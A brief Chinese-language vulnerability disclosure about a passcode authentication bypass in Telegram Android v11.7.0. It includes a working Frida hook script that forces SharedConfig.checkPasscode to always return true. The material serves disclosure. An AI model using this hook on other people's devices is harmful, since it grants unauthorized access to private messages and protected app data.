Telegram Android APK v.11.7.0 的 SharedConfig 类中存在一个问题,允许物理邻近的攻击者通过操控 checkPasscode 方法的返回值来绕过认证并提升权限。
认证绕过
Telegram
Telegram android apk v.11.7.0
org.telegram.messenger.SharedConfig
Java.perform(function() {
// Locate the SharedConfig class in the target application
var PassCodeActivity = Java.use('org.telegram.messenger.SharedConfig');
// Hook the checkPasscode method to modify its behavior
PassCodeActivity.checkPasscode.implementation = function(passcode) {
// Bypass the actual passcode check by always returning true
return true;
};
});
https://drive.google.com/file/d/1-lW1IQiCyj-8UXZOTedYPGPhQwfMLX4M/view?usp=sharing
此漏洞为客户端认证绕过问题。影响依赖密码功能保护敏感数据或限制特定应用功能访问的用户。通过利用此缺陷,物理邻近的攻击者可以操控密码验证过程,绕过认证并获取应用受保护区域的未授权访问。这可能导致敏感用户数据泄露或应用内未授权操作。